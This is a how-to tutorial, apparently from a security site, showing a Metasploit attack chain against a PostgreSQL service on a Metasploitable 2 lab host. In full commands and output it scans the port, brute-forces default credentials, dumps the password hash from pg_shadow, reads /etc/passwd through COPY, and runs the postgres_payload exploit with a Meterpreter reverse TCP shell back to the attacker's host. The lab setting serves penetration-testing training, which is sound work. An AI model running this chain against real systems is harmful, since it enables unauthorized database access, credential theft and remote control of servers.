How To: Gather Information on PostgreSQL Databases with Metasploit

Gather Information on PostgreSQL Databases with Metasploit

Attacks against databases have become one of the most popular and lucrative activities for hackers recently. New data breaches seem to be popping up every week, but even with all of that attention, databases continue to be a prime target. All of these attacks have to start somewhere, and we'll be exploring a variety of methods to gather information on PostgreSQL databases with Metasploit.

PostgreSQL is an open-source relational database management system (RDBMS) that uses the SQL language, along with many other features, to handle a wide variety of data workloads. Initially developed for Unix, PostgreSQL runs on all major operating systems and is the default database for macOS Server.

PostgreSQL is known for its extensibility, reliability, data integrity, strong architecture, and robust feature set, including the popular PostGIS geospatial database extender. It's also ACID compliant and has a dedicated open-source community.

For the most part, PostgreSQL conforms with SQL language standards, but some syntax and functions differ slightly. It's often used for heavy workloads, where concurrency and performance are a priority, and offers modern security and recovery features that are essential in enterprise environments. Overall, PostgreSQL is a fantastic RDBMS that's both flexible and extensible.

Step 1: Use an Nmap Scan

In this guide, we're using Metasploitable 2 as the target and Kali Linux as the local machine. You can use the same or something similar.

After getting the testing lab set up, we need to determine if the PostgreSQL service is running on the target. To do so, we can run an Nmap scan on port 5432, which is usually the default port for PostgreSQL. Use the -p flag to specify the port and -sV to enable version detection:

~# nmap -sV 10.10.0.50 -p 5432

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 11:41 CST
Nmap scan report for 10.10.0.50
Host is up (0.00064s latency).

PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
MAC Address: 00:1D:09:55:B1:3B (Dell)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

We can see that the PostgreSQL service is open on the target and running version 8.3.0 – 8.3.7.

Step 2: Get the Version Info

Metasploit has a number of modules that we can use to gather useful information about PostgreSQL databases. Fire it up by typing msfconsole in the terminal.

~# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

       =[ metasploit v5.0.87-dev                          ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x

msf5 >

Once it loads, we can use the search function to look for modules related to PostgreSQL:

msf5 > search postgre

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   3   auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   4   auxiliary/analyze/crack_databases                                            normal     No     Password Cracker: Databases
   5   auxiliary/analyze/jtr_postgres_fast                                          normal     No     John the Ripper Postgres SQL Password Cracker
   6   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     Yes    PostgreSQL Database Name Command Line Flag Injection
   7   auxiliary/scanner/postgres/postgres_hashdump                                 normal     Yes    Postgres Password Hashdump
   8   auxiliary/scanner/postgres/postgres_login                                    normal     Yes    PostgreSQL Login Utility
   9   auxiliary/scanner/postgres/postgres_schemadump                               normal     Yes    Postgres Schema Dump
   10  auxiliary/scanner/postgres/postgres_version                                  normal     Yes    PostgreSQL Version Probe
   11  auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   12  exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   13  exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   14  exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   15  exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   16  exploit/windows/misc/manageengine_eventlog_analyzer_rce     2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
   17  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   18  post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History

The first one we'll cover will give us some information about the running version. It never hurts to double-check since certain exploits will only work for certain versions. Load the module with the use command:

msf5 > use auxiliary/scanner/postgres/postgres_version

Next, let's take a look at the options to view the current settings:

msf5 auxiliary(scanner/postgres/postgres_version) > options

Module options (auxiliary/scanner/postgres/postgres_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

We can leave all the defaults for now, but we will need to set the rhosts option to the IP address of our target:

msf5 auxiliary(scanner/postgres/postgres_version) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Now all we have to do is run it; use the run command to kick it off:

msf5 auxiliary(scanner/postgres/postgres_version) > run

[*] 10.10.0.50:5432 Postgres - Version PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

And we can see the version number is 8.3.1, which is a little more specific than what Nmap returned.

Step 3: Brute-Force the Login

The next module we'll look at will attempt to brute-force the login to the PostgreSQL database using a list of default usernames and passwords. Load it with the use command:

msf5 > use auxiliary/scanner/postgres/postgres_login

Let's take a look at this modules' options:

msf5 auxiliary(scanner/postgres/postgres_login) > options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                                     yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS                                                                                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-separated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts

This one has a few more options we can mess with, but for now, the defaults will work. Just set the remote hosts option again, and we should be good to go:

msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Now we can launch the module:

msf5 auxiliary(scanner/postgres/postgres_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 10.10.0.50:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 10.10.0.50:5432 - Login Successful: postgres:postgres@template1
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.0.50:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see it go through each username and password combination, most of which fail, but we are left with one successful login.

Step 4: Run SQL Queries

We can run SQL queries right from another Metasploit module instead of logging into the database directly. Load the module:

msf5 > use auxiliary/admin/postgres/postgres_sql

And take a look at the options:

msf5 auxiliary(admin/postgres/postgres_sql) > options

Module options (auxiliary/admin/postgres/postgres_sql):

   Name           Current Setting   Required  Description
   ----           ---------------   --------  -----------
   DATABASE       template1         yes       The database to authenticate against
   PASSWORD       postgres          no        The password for the specified username. Leave blank for a random password.
   RETURN_ROWSET  true              no        Set to true to see query result sets
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          5432              yes       The target port
   SQL            select version()  no        The SQL query to execute
   USERNAME       postgres          yes       The username to authenticate as
   VERBOSE        false             no        Enable verbose output

Instead of setting the remote hosts option each time, we can use the setg command to set the option globally. This means it will remain set when we switch to other modules unless we change it again.

msf5 auxiliary(admin/postgres/postgres_sql) > setg rhosts 10.10.0.50

rhosts => 10.10.0.50

The default query for this module is set to select the version of the database — let's see what that looks like:

msf5 auxiliary(admin/postgres/postgres_sql) > run

[*] Running module against 10.10.0.50

Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

[*] Auxiliary module execution completed

But we can set this option to any valid SQL code we want. For instance, the following query will return the username and password of the current user:

SELECT usename, passwd FROM pg_shadow;

Let's set the option to this now:

msf5 auxiliary(admin/postgres/postgres_sql) > set sql select usename, passwd from pg_shadow

sql => select usename, passwd from pg_shadow

And run the module again:

msf5 auxiliary(admin/postgres/postgres_sql) > run

[*] Running module against 10.10.0.50

Query Text: 'select usename, passwd from pg_shadow'
===================================================

    usename   passwd
    -------   ------
    postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Auxiliary module execution completed

Now we can see the username and password hash of the current user.

Step 5: Dump the Hashes

Metasploit also has a module that will quickly dump any password hashes in the database for us. Load it up:

msf5 > use auxiliary/scanner/postgres/postgres_hashdump

And view the options:

msf5 auxiliary(scanner/postgres/postgres_hashdump) > options

Module options (auxiliary/scanner/postgres/postgres_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as

Everything looks good at this point, and since we already set the remote host earlier, all we have to do is run it:

msf5 auxiliary(scanner/postgres/postgres_hashdump) > run

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see the query runs successfully and returns the password hash.

Step 6: Dump Schema Info

The next module we'll cover will attempt to dump any schema information it can find about the database. This can be useful to get a broad picture of all the databases, tables, and settings in use. Load the module:

msf5 > use auxiliary/scanner/postgres/postgres_schemadump

And check the options:

msf5 auxiliary(scanner/postgres/postgres_schemadump) > options

Module options (auxiliary/scanner/postgres/postgres_schemadump):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DATABASE         postgres         yes       The database to authenticate against
   DISPLAY_RESULTS  true             yes       Display the Results to the Screen
   PASSWORD         postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS           10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            5432             yes       The target port
   THREADS          1                yes       The number of concurrent threads (max one per host)
   USERNAME         postgres         yes       The username to authenticate as

We can leave the defaults and launch the module:

msf5 auxiliary(scanner/postgres/postgres_schemadump) > run

[+] Postgres SQL Server Schema
 Host: 10.10.0.50
 Port: 5432
 ====================

--- []

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can see that it didn't return anything, but it's worth a shot to try and gather data like this for reconnaissance.

Step 7: Read the System Files

We can also use Metasploit to read system files via the PostgreSQL database. Load the module:

msf5 > use auxiliary/admin/postgres/postgres_readfile

And take a look at the options:

msf5 auxiliary(admin/postgres/postgres_readfile) > options

Module options (auxiliary/admin/postgres/postgres_readfile):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RFILE     /etc/passwd      yes       The remote file
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

The default remote file to read is set to /etc/passwd, which will work for now. Let's kick it off:

msf5 auxiliary(admin/postgres/postgres_readfile) > run

[*] Running module against 10.10.0.50

Query Text: 'CREATE TEMP TABLE hoieZbLAeCQ (INPUT TEXT);
      COPY hoieZbLAeCQ FROM '/etc/passwd';
      SELECT * FROM hoieZbLAeCQ'
====================================================================================================================================

    input
    -----
    backup:x:34:34:backup:/var/backups:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    bind:x:105:113::/var/cache/bind:/bin/false
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    dhcp:x:101:102::/nonexistent:/bin/false
    distccd:x:111:65534::/:/bin/false
    ftp:x:107:65534::/home/ftp:/bin/false
    games:x:5:60:games:/usr/games:/bin/sh
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    klog:x:103:104::/home/klog:/bin/false
    libuuid:x:100:101::/var/lib/libuuid:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
    mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
    news:x:9:9:news:/var/spool/news:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    postfix:x:106:115::/var/spool/postfix:/bin/false
    postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
    proftpd:x:113:65534::/var/run/proftpd:/bin/false
    proxy:x:13:13:proxy:/bin:/bin/sh
    root:x:0:0:root:/root:/bin/bash
    service:x:1002:1002:,,,:/home/service:/bin/bash
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
    statd:x:114:65534::/var/lib/nfs:/bin/false
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/bin/sh
    syslog:x:102:103::/home/syslog:/bin/false
    telnetd:x:112:120::/nonexistent:/bin/false
    tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
    user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
[+] 10.10.0.50:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20191211120809_default_10.10.0.50_postgres.file_153011.txt
[*] Auxiliary module execution completed

We can see that it first creates a temporary table, copies the content of the desired file, and returns it to us on the screen. It also saves this as loot to use at a later convenience.

Let's try to read a different file – perhaps /etc/shadow this time. First, set the option:

msf5 auxiliary(admin/postgres/postgres_readfile) > set rfile /etc/shadow

rfile => /etc/shadow

Then, run the module:

msf5 auxiliary(admin/postgres/postgres_readfile) > run

[*] Running module against 10.10.0.50

[-] 10.10.0.50:5432 Postgres - Insufficent file permissions.
[*] Auxiliary module execution completed

We can see this time that it was unsuccessful since we don't have the necessary file permissions. Always worth a try, though.

Step 8: Send a Payload

The final module we will explore today is an exploit that will attempt to place and execute a payload on the target. First, load the module:

msf5 > use exploit/linux/postgres/postgres_payload

And view the options:

msf5 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  template1        yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS    10.10.0.50       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   USERNAME  postgres         yes       The username to authenticate as
   VERBOSE   false            no        Enable verbose output

Exploit target:

   Id  Name
   --  ----
   0   Linux x86

Everything looks good, but since this is an exploit, we'll need to set a payload. Use the show command to see the available payloads for this module:

msf5 exploit(linux/postgres/postgres_payload) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   generic/custom                                             normal  No     Custom Payload
   1   generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   linux/x86/chmod                                            normal  No     Linux Chmod
   6   linux/x86/exec                                             normal  No     Linux Execute Command
   7   linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  linux/x86/read_file                                        normal  No     Linux Read File
   19  linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Let's use the popular Meterpreter reverse shell; use the set command to set the payload:

msf5 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcp

We need to set the local host and local port options since this is a reverse shell. Set the lhost to the IP address of our local machine:

msf5 exploit(linux/postgres/postgres_payload) > set lhost 10.10.0.1

lhost => 10.10.0.1

And the lport to a port of your choosing:

msf5 exploit(linux/postgres/postgres_payload) > set lport 4321

lport => 4321

That should be everything we need, so let's kick it off:

msf5 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.50:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/FKXyvnhM.so, should be cleaned up automatically
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.50:37662) at 2020-05-10 12:18:23 -0600

meterpreter >

We can see it creates the handler, uploads the payload on the target, and finally, opens a session. We can now run commands like sysinfo to verify we have a shell on the target:

meterpreter > sysinfo

Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Wrapping Up

Today we learned about PostgreSQL databases and how to gather information on them to aid in recon. First, we ran an Nmap scan to verify the service was open on the target. Next, we covered a variety of modules for collecting information, including version, login credentials, and password hashes. Finally, we used a module to exploit PostgreSQL, and ultimately obtained a Meterpreter session on the target.

Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:

Cover image by Tim van der Kuip/Unsplash

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest